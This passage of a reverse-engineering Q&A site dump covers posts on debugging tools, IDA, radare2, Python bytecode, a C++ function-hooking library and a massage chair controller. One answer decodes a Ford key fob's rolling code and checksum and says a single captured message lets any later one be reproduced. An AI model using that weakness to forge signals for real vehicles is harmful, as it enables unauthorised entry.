&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;reveng -w 8 -s&#xA;reveng -w 8 -l -s&#xA;reveng -w 8 -F -s&#xA;reveng -w 8 -l -F -s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any thoughts or ideas would be appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that I may have cracked the checksum. It is a simple sum of the message. The catch is that the first 2 bytes are not included. Also, the sum is truncated to just the least significant byte. I have not exhaustively checked the whole data set but spot checking seems to work 100% of the time. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;9d1748c2aa11d2044f  34f&#xA;9d1748c2aa12b70132  332&#xA;9d1748c2aa139c081f  31f&#xA;9d1748c2aa164b01ca  2ca&#xA;9d1748c2aa173008b7  2b7&#xA;9d1748c2aa19fa047f  37f&#xA;9d1748c2aa1adf0162  362&#xA;9d1748c2aa1d8e0417  317&#xA;9d1748c2aa1e7301fa  2fa&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28869" LastEditorUserId="28869" LastEditDate="2019-06-29T15:21:46.573" LastActivityDate="2019-07-02T13:09:56.400" Title="Reverse engineering CRC and rolling code" Tags="|crc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21578" PostTypeId="1" CreationDate="2019-06-29T06:53:29.490" Score="1" ViewCount="79" Body="&lt;p&gt;When looking for a reversing tool I discovered &lt;a href=&quot;https://github.com/panda-re/panda&quot; rel=&quot;nofollow noreferrer&quot;&gt;PANDA&lt;/a&gt;. Unfortunately, its performance is too slow. When I run some large programs in a virtual machine, the whole system becomes very slow and I can't debug the programs at all. Are there other faster full system debuggers that support taint forward or backward analysis?&lt;/p&gt;&#xA;" OwnerUserId="28871" LastEditorUserId="18317" LastEditDate="2019-06-29T09:02:24.727" LastActivityDate="2019-06-29T09:02:24.727" Title="How to speed up panda?" Tags="|tools|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21579" PostTypeId="2" ParentId="21577" CreationDate="2019-06-29T17:08:19.187" Score="4" Body="&lt;p&gt;Figured it out. It was not as complicated as I thought. Here is how it goes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;9d1748c2aa11d2044f&#xA;9d1748c2aa12b70132&#xA;9d1748c2aa139c081f&#xA;9d1748c2aa164b01ca&#xA;9d1748c2aa173008b7&#xA;9d1748c2aa19fa047f&#xA;9d1748c2aa1adf0162&#xA;9d1748c2aa1d8e0417&#xA;9d1748c2aa1e7301fa&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The 0x55 and 0x54 at the beginning of the message are the preamble and are not important. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bytes 1-4 never change. I assume they are like a signature or serial number or ID of some sorts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bytes 5 and 6 count up. I'm guessing this is the number only used once. When byte 8 rolls over, byte 5 increments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Byte 8 is the button being pressed. The fob has 4 buttons and there are four numbers that show up here: 0x04, 0x08, 0x01, and 0x02.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Byte 9 is the CRC. It is simply the sum of all the bytes and then gets truncated to the least significant byte. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Byte 7 might be the rolling code. If this is the rolling code then it's not super secure. Byte 7 is always 0x1b less than the last one. For instance, in the data set the first two entries are consecutive. 0xd2 - 0x1b = 0xb7 which is byte 7 of the following message. As long as you capture at least one message then any message can be reproduced using the counting number to see how many 0x1b to subtract. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just came across someone with a 2004 Mercury Grand Marquis. The ID for their remote was different but the rolling code and CRC schemes were exactly the same. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I reckon that every Ford remote that looks like this uses this same scheme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6kkh3.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6kkh3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28869" LastEditorUserId="28869" LastEditDate="2019-07-02T13:09:56.400" LastActivityDate="2019-07-02T13:09:56.400" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21580" PostTypeId="1" CreationDate="2019-06-29T19:34:34.363" Score="0" ViewCount="678" Body="&lt;p&gt;How can I get the same behavior as in gdb when using disassemble-next-line on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I step in radare2, I just see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x7fea91263220]&amp;gt; ds&#xA;[0x7fea91263220]&amp;gt; ds&#xA;[0x7fea91263220]&amp;gt; ds&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why doesn't it increment? How do I get it to show what instruction it is at?&lt;/p&gt;&#xA;" OwnerUserId="25560" LastActivityDate="2019-08-15T17:10:03.270" Title="Radare2 show current RIP and current instruction while stepping" Tags="|radare2|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21581" PostTypeId="1" CreationDate="2019-06-29T20:36:40.943" Score="2" ViewCount="2760" Body="&lt;p&gt;I found a pointer's address, &lt;code&gt;0x485FE058&lt;/code&gt;, in Cheat Engine. However, when I load up the exe in IDA, the addresses are smaller and start from &lt;code&gt;0x00401000&lt;/code&gt;. I read up somewhere that this was called virtual memory addresses. But, after looking, I couldn't figure out how to plug the dynamic addresses in Cheat Engine and make them show up.&lt;/p&gt;&#xA;" OwnerUserId="28873" LastEditorUserId="27930" LastEditDate="2019-07-06T19:59:12.227" LastActivityDate="2019-07-06T19:59:12.227" Title="Finding address in IDA from address found in Cheat Engine" Tags="|ida|disassembly|x86|cheat-engine|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21582" PostTypeId="2" ParentId="6278" CreationDate="2019-06-29T20:43:44.383" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What's these instruction sequences for? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They are for &lt;strong&gt;code optimization&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;CPU cache&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;To optimize memory accesses, the CPU uses its own (small) internal memory called &lt;em&gt;cache&lt;/em&gt;. It usually consists of several levels named &lt;strong&gt;L1&lt;/strong&gt;, &lt;strong&gt;L2&lt;/strong&gt; etc. A lower suffix number means that the memory is located &lt;em&gt;closer&lt;/em&gt; to the CPU core, thus is &lt;em&gt;faster&lt;/em&gt; to access, but it's &lt;em&gt;smaller&lt;/em&gt; as well. An illustration of this concept taken from &lt;a href=&quot;https://www.makeuseof.com/tag/what-is-cpu-cache/&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt; is given below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9Y8Bz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Y8Bz.png&quot; alt=&quot;CPU cache levels&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Accessing the CPU cache is &lt;em&gt;critically faster&lt;/em&gt; than reading RAM memory (see &lt;a href=&quot;https://stackoverflow.com/questions/4087280/approximate-cost-to-access-various-caches-and-main-memory&quot;&gt;this question&lt;/a&gt; for more information) and that's why it is better to have data in cache instead of reading it each time from RAM (or even worse - hard disk).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the CPU doesn't cache only data - it caches &lt;em&gt;instructions&lt;/em&gt; as well. And for instructions to be cached effectively, they have to be properly &lt;em&gt;aligned&lt;/em&gt;. Following cite comes from &lt;a href=&quot;https://www.agner.org/optimize/optimizing_assembly.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Most microprocessors fetch code in aligned 16-byte or 32-byte blocks. If an important subroutine entry or jump label happens to be near the end of a 16-byte block then the microprocessor will only get a few useful bytes of code when fetching that block of code. It may have to fetch the next 16 bytes too before it can decode the first instructions after the label. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This can be avoided by aligning important subroutine entries and loop entries by 16. [...] We may align subroutine entries by the cache line size (typically 64 bytes) if the subroutine is part of a critical hot spot and the preceding code is unlikely to be executed in the same context.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, it may be the case that under &lt;code&gt;foo1:&lt;/code&gt; there is some short loop and compiler decided to align this block to put it in the CPU cache so it is executed faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As @user45891 already stated in the comment, such an optimization in gcc is turned on with the option &lt;code&gt;-O2&lt;/code&gt;, so don't use it when you don't want such optimizations.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;But why the difference between the two outputs?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Because the first result comes from just two first states of compilation performed by gcc (&lt;a href=&quot;https://gcc.gnu.org/onlinedocs/gcc/Overall-Options.html#Overall-Options&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Compilation can involve up to four stages: preprocessing, compilation proper, assembly and linking, always in that order.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;-S&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Stop after the stage of compilation proper; do not assemble.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;While the second one is &quot;entirely compiled&quot; and linked.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="-1" LastEditDate="2019-06-30T08:15:42.857" LastActivityDate="2019-06-30T08:15:42.857" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21583" PostTypeId="2" ParentId="21580" CreationDate="2019-06-29T23:59:41.180" Score="2" Body="&lt;p&gt;Not a bug: &quot;Because its the prompt shows the seek not the rip. You can do e cmd.prompt=sr PC if you want that behaviour&quot; &lt;a href=&quot;https://github.com/radare/radare2/issues/12581&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/radare/radare2/issues/12581&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25560" LastActivityDate="2019-06-29T23:59:41.180" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21584" PostTypeId="1" AcceptedAnswerId="21585" CreationDate="2019-06-30T12:08:10.860" Score="1" ViewCount="1513" Body="&lt;p&gt;I try reverse python bytecode (Content in a .pyc file). I do not want to decompile the code, just understand the Python bytecode :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The LOAD_NAME statement, pushes the value associated with co_names (tuple of names of local variables...) [namei] onto the stack. (How can I check these values contained in co_names?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WKyox.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WKyox.png&quot; alt=&quot;n &quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28528" LastActivityDate="2019-07-02T11:54:45.140" Title="Reverse Python Bytecode" Tags="|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21585" PostTypeId="2" ParentId="21584" CreationDate="2019-06-30T12:56:49.707" Score="4" Body="&lt;p&gt;You can use the &lt;a href=&quot;https://docs.python.org/2/library/marshal.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;marshal&lt;/code&gt;&lt;/a&gt; module to load the code object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, suppose you want to find out what does &lt;code&gt;LOAD_NAME 1&lt;/code&gt; loads on the evaluation stack.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import marshal&#xA;&#xA;co = marshal.load(...)&#xA;print co.co_names[1]&#xA;&#xA;# Or if you want to print the entire co_names&#xA;print co.co_names&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Refer to the &lt;a href=&quot;https://docs.python.org/2/library/dis.html?highlight=co_names&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;dis&lt;/code&gt;&lt;/a&gt; module for further reference.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2019-07-02T11:54:45.140" LastActivityDate="2019-07-02T11:54:45.140" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21586" PostTypeId="1" AcceptedAnswerId="21587" CreationDate="2019-06-30T17:01:37.047" Score="1" ViewCount="456" Body="&lt;p&gt;I'm recently start in reverse engineering filed. While working with the disassembler I asked myself:what the &quot;address&quot; label meant. For example here we have hopper image:&lt;a href=&quot;https://www.hopperapp.com/tutorial_files/overview@2x.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hopperapp.com/tutorial_files/overview@2x.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see atbbottom of hopper we have 0x100001dc0 and offset:0x1dc0, I know that offset is the way inside hex editor to jump directly in the function highlighted in blue by hopper,but don't know what's address.&#xA;Someone told me that &quot;address&quot; indicate the virtual address of instruction, but I know that virtual address is calculate/managed at runtime by the OS and this confuse me a bit. Someone can explain me what I did misunderstand? Thanks&lt;/p&gt;&#xA;" OwnerUserId="28801" LastActivityDate="2019-06-30T17:46:34.593" Title="what's meaning address inside disassembler" Tags="|disassemblers|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21587" PostTypeId="2" ParentId="21586" CreationDate="2019-06-30T17:17:25.723" Score="1" Body="&lt;p&gt;The &lt;code&gt;0x1dc0&lt;/code&gt; is an instruction offset in the file, while &lt;code&gt;0x100001dc0&lt;/code&gt; is address in a program virtual memory when this particular instruction should reside. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information, see &lt;a href=&quot;https://stackoverflow.com/questions/53655287/what-is-the-image-base-in-windows-pe-files&quot;&gt;link&lt;/a&gt;. In your case, base address for a file is &lt;code&gt;0x100000000&lt;/code&gt;, so it means it should be loaded at this address and every instruction in it will have its address incremented accordingly.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2019-06-30T17:46:34.593" LastActivityDate="2019-06-30T17:46:34.593" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="21588" PostTypeId="2" ParentId="21581" CreationDate="2019-06-30T20:28:21.227" Score="2" Body="&lt;p&gt;Edit -&gt; Segment-&gt; Rebase in IDA and input the address where it is &lt;em&gt;actually&lt;/em&gt; loaded in CheatEngine &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will have one-to-one-correspondence.&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="245" LastEditDate="2019-07-01T07:37:27.993" LastActivityDate="2019-07-01T07:37:27.993" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21589" PostTypeId="1" CreationDate="2019-06-30T20:43:56.443" Score="2" ViewCount="1022" Body="&lt;p&gt;When I open cpp static binary, how can identify known functions like fopen/ioctl/printf? They have been compiled statically into the binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dont know the compiler of this binary .&lt;/p&gt;&#xA;" OwnerUserId="23993" LastEditorUserId="14622" LastEditDate="2019-12-05T03:43:57.673" LastActivityDate="2019-12-05T03:43:57.673" Title="Identify function in cpp static binary" Tags="|ida|static-analysis|compilers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21590" PostTypeId="2" ParentId="21394" CreationDate="2019-07-01T09:06:58.907" Score="2" Body="&lt;p&gt;That's not currently possible. The closest you can get is using iteration (&lt;code&gt;@@&lt;/code&gt;), and printing the stack like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[0x10000b4a1]&amp;gt; pxw 16 @@=rsp rsp-16 rsp-32 rsp-48&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(For more lines, you simply add additional &lt;code&gt;rsp-?&lt;/code&gt; elements).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, this method has several disadvantages:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If you need a variable amount of lines, that won't do. You can either use an external command to generate the elements (via &lt;code&gt;@@c:&lt;/code&gt; or &lt;code&gt;@@=``&lt;/code&gt;), or contribute to radare2's iterator code (located in &lt;code&gt;r_core_cmd_foreach&lt;/code&gt;, in &lt;code&gt;libr/core/cmd.c&lt;/code&gt;), which currently supports only positive direction (you'd need to add support for negative stepping).&lt;/li&gt;&#xA;&lt;li&gt;For certain hexdump formats (such as &lt;code&gt;px&lt;/code&gt;, which is the default format used in panels view), a header is added to the output, and when using an iterator, which results in multiple command executions, the header will appear over and over again.&lt;/li&gt;&#xA;&lt;li&gt;For some reason, this kind of iteration does not work in panels view.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'd recommend opening a feature request (or implementing it and contributing to the project), to support reverse printing direction.&lt;/p&gt;&#xA;" OwnerUserId="13820" LastActivityDate="2019-07-01T09:06:58.907" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21593" PostTypeId="1" CreationDate="2019-07-01T11:29:08.737" Score="0" ViewCount="366" Body="&lt;p&gt;Quite new to Reverse Engineering and making Detour Functions, Just need some form of clarification here, i am trying to make a Simple x86 Detour library and i have worked on something using some Sources i saw on the Internet.&#xA;Now i have a challenge with the simple MessageBox does not trigger errors at the same time , it fails to hook as i get this Execption&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Exception thrown at 0x0F2B3839 (vcruntime140d.dll) in SHook.exe: 0xC0000005: Access violation writing location 0x75C51F70.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On this Line &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;memcpy(original, FunctionAddress, TrampolineLength);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My source code looks like this  :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SHook.h&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#pragma once&#xA;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;Windows.h&amp;gt;&#xA;#include &quot;hde32.h&quot;&#xA;&#xA;class SHook&#xA;{&#xA;private :&#xA;    LPVOID FunctionAddress;&#xA;    DWORD TrampolineLength = 0, OriginalProtection;&#xA;    hde32s disam;&#xA;    BYTE Jump[5] = { 0xE9, 0x00, 0x00, 0x00, 0x00 };&#xA;public:&#xA;    BOOL SetHook(LPCSTR dll, LPCSTR name, LPVOID proxy, LPVOID original, PDWORD length);&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now &lt;strong&gt;SHook.cpp&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &quot;SHook.h&quot;&#xA;&#xA;BOOL SHook::SetHook(LPCSTR dll, LPCSTR name, LPVOID proxy, LPVOID original, PDWORD length)&#xA;{&#xA;    LPVOID FunctionAddress;&#xA;    DWORD TrampolineLength = 0, OriginalProtection;&#xA;    hde32s disam;&#xA;    BYTE Jump[5] = { 0xE9, 0x00, 0x00, 0x00, 0x00 };&#xA;&#xA;    FunctionAddress = GetProcAddress(GetModuleHandleA(dll), name);&#xA;    if (!FunctionAddress)&#xA;        return FALSE;&#xA;&#xA;    //disassemble length of each instruction, until we have 5 or more bytes worth&#xA;    while (TrampolineLength &amp;lt; 5)&#xA;    {&#xA;        LPVOID InstPointer = (LPVOID)((DWORD)FunctionAddress + TrampolineLength);&#xA;        TrampolineLength += hde32_disasm(InstPointer, &amp;amp;disam);&#xA;    }&#xA;&#xA;    //Build the trampoline buffer&#xA;    memcpy(original, FunctionAddress, TrampolineLength); //shoots error here&#xA;    *(DWORD*)(Jump + 1) = ((DWORD)FunctionAddress + TrampolineLength) - ((DWORD)original + TrampolineLength + 5);&#xA;    memcpy((LPVOID)((DWORD)original + TrampolineLength), Jump, 8);&#xA;&#xA;    //Make sure the function is writable&#xA;    if (!VirtualProtect(FunctionAddress, TrampolineLength, PAGE_EXECUTE_READWRITE, &amp;amp;OriginalProtection))&#xA;        return FALSE;&#xA;&#xA;    //Build and atomically write the hook&#xA;    *(DWORD*)(Jump + 1) = (DWORD)proxy - (DWORD)FunctionAddress - 5;&#xA;    //SafeMemcpyPadded(FunctionAddress, Jump, 5);&#xA;&#xA;    //Restore the original page protection&#xA;    VirtualProtect(FunctionAddress, TrampolineLength, OriginalProtection, &amp;amp;OriginalProtection);&#xA;&#xA;    //Clear CPU instruction cache&#xA;    FlushInstructionCache(GetCurrentProcess(), FunctionAddress, TrampolineLength);&#xA;&#xA;    *length = TrampolineLength;&#xA;    return TRUE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the implementation is looking like this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;MessageBoxTest.cpp&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;Windows.h&amp;gt;&#xA;#include &amp;lt;intrin.h&amp;gt;&#xA;#include &amp;lt;string&amp;gt;&#xA;#include &quot;SHook.h&quot;&#xA;&#xA;typedef int (WINAPI* TdefOldMessageBoxA)(HWND hWnd, LPCSTR lpText, LPCTSTR lpCaption, UINT uType);&#xA;TdefOldMessageBoxA myOldMessageBoxA;&#xA;&#xA;SHook shook;&#xA;int WINAPI HookMessageBoxA(HWND hWnd, LPCSTR lpText, LPCTSTR lpCaption, UINT uType) &#xA;{&#xA;    MessageBoxA(NULL, &quot;Hooked&quot;, &quot;Hooked&quot;, MB_OK);&#xA;    return myOldMessageBoxA(hWnd, lpText, lpCaption, uType);&#xA;}&#xA;&#xA;void EstablishHook()&#xA;{&#xA;        myOldMessageBoxA = (TdefOldMessageBoxA)&amp;amp; MessageBoxA;&#xA;        shook.SetHook(&quot;user32.dll&quot;,&quot;MessageBoxA&quot;, (LPVOID)&amp;amp;HookMessageBoxA, myOldMessageBoxA,0);&#xA;}&#xA;&#xA;int main() &#xA;{&#xA;    EstablishHook();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please Can someone give a clarification what i did miss pls&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to understand what i missed there? Please i do need some form of help here&lt;/p&gt;&#xA;" OwnerUserId="28891" LastActivityDate="2019-07-01T11:29:08.737" Title="How Do i create a simple Detour Library" Tags="|c++|function-hooking|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21594" PostTypeId="1" CreationDate="2019-07-01T14:07:02.523" Score="0" ViewCount="150" Body="&lt;p&gt;For a research project I'm trying to create a manual control for the Chinese massage chair we've acquired, as the inbuilt controller only allows for its 5 preset programs. I am wondering what is the best way to go about this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What we want to create is a serial connection for our (C sharp) program on a PC, so we can control each of the chair's functions. Instead of wasting our time to completely redo the control board, it seems more effective to either reprogram the current microcontroller or bypass it with our own. In all its fanciness, the chair is quite simple in its functions and only seems to use on/off control for its actuators. However as I do not feel confident implementing a serial protocol on an unknown(?) chinese IC in assembly language, the second option seems more feasible. However it would be nice to relatively easily be able to revert back to the original IC, so we'd prefer not to destroy it and ideally we'd even be able to switch back to original control. Our approach would be to first observe and measure how the io of each pin of the original microcontroller correlates to the behaviours of the chair, and then replace it by our own microcontroller. Below I have put more information on the chair, but first my main questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Could I simple cut the main Vdd line of the original microcontroller and add a switch to be able to switch between our custom control and the original control? Or would the original microcontroller be powered through the other lines and interfere with our own microcontroller?&#xA;-Would there a way to read out the current hex code of the original microcontroller so we would be able to replace the chip in case we'd accidentally fried one?&#xA;-I tried looking, but didn't find anything, but would there be such a thing as a reverse QFP breakout board? A board that I could mount in place of the original microcontroller, and breaks it out to say 0.1&quot; headers? Or is the better way to go to search for larger solder points on the same trace and wire it to my own board?&#xA;-Any other tips for going about this are welcome!&#xA;​&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Images of the board: &lt;a href=&quot;https://i.stack.imgur.com/AW9Qe.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/AW9Qe.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Functions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-It has an air pump feeding four sets of air bags through four solenoid valves&#xA;-It has six 24V motors:&#xA;-Three for the main massage assembly&#xA;-One for lateral movement (with two end switches)&#xA;-One for kneading&#xA;-One for vibration&#xA;-One for the foot massage rollers&#xA;-One for adjusting the orientation of the chair&#xA;-One for vibration under the seat (this might have a lower voltage, I didn't check it out yet)&#xA;'It has heated areas at the back, seat and legs. It yet unclear if these are individually controllable&#xA;-There is a switch to sense a person sitting on the chair&#xA;-There is two small RGB LED panel on the sides of the chair&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the control board I see&#xA;-A SinoWealth SH88F516 microcontroller as the brain.&#xA;-Two ULN2003A transistor arrays that I assume to drive the four relays (there is four more mounting points, probably for a more fancy model)&#xA;-On the bottom is a row of heat-sinked transistors&#xA;I assume that together the relays and heat-sinked transistors take care of driving the motors and their direction, although I didn't dive yet into how this exactly works (feel free to explain how this is implemented ;) )&#xA;-A row of transistors on the top driving the four valves ( there is options for four more, probably for a more fancy model)&#xA;-There is a seperate board that drive the two RGB LED panels&#xA;+There is a whole bunch of wires going to the main massage assembly that I didn't check out yet what they might be for, but I assume they are rotational and maybe pressure sensors.&lt;/p&gt;&#xA;" OwnerUserId="28894" LastActivityDate="2019-07-10T04:20:13.733" Title="Is it possible to bypass the microcontroller on this massage chair without removing it?" Tags="|hardware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21595" PostTypeId="2" ParentId="21529" CreationDate="2019-07-01T14:25:00.787" Score="1" Body="&lt;p&gt;It sounds like it's still possible to communicate with the company. Excellent: ask them what their opinions are with&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;reverse engineering the program, expressly to facilitate continuation of business operations&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;publicly disseminating binary copies of the program on the internet, modified or unmodified, also for the express purpose of reverse engineering to facilitate continuation of operations&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;if public dissemination is not agreeable, privately sharing the binary with others without requiring a signed NDA from the would-be recipient&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;allowing the same team performing reverse engineering to also reimplement the required functionality directly, without a clean-room needing to be in the middle (ref: &lt;a href=&quot;https://en.wikipedia.org/wiki/Clean_room_design&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/Clean_room_design&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(you may be able to answer this yourself) sharing many screenshots and/or videos (from a camera, or from the &lt;code&gt;obs-studio&lt;/code&gt; screen recording software) of what interaction with the program looks like&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(if you have any &lt;code&gt;.bas&lt;/code&gt; files) sharing anything that might appear to constitute program source code, privately or publicly&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Essentially you're kind of asking to &lt;em&gt;slightly&lt;/em&gt; rearrange your original license agreement :). I look at this a bit like a warranty: your software has &lt;em&gt;completely&lt;/em&gt; exceeded all original definitions of maintenance, along with what might be contemporarily regarded as reasonable aftermarket maintenance. The vendor's perspective may differ here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the interests of cooperation you might offer to send the vendor any algorithms you recover from any reverse engineering efforts you make. (What is sent may or may not include any modernization/interfaces you add on top, since that is unique effort you are making independently.) Of course such an offer would only be of value to the vendor if they do not offer a modern supercessor to LUKWAN themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, once you have some clear answers, you'll have a concrete legal foundation to built on instead of the current sea of gray you're in right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can publicly dump the binary on the internet, that will simplify matters greatly; go find a few reverse engineering forums, share the program, and you'll likely receive extremely accurate quotes (and ETAs) in a matter of days. You may end up hiring a team of two or so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can share the program 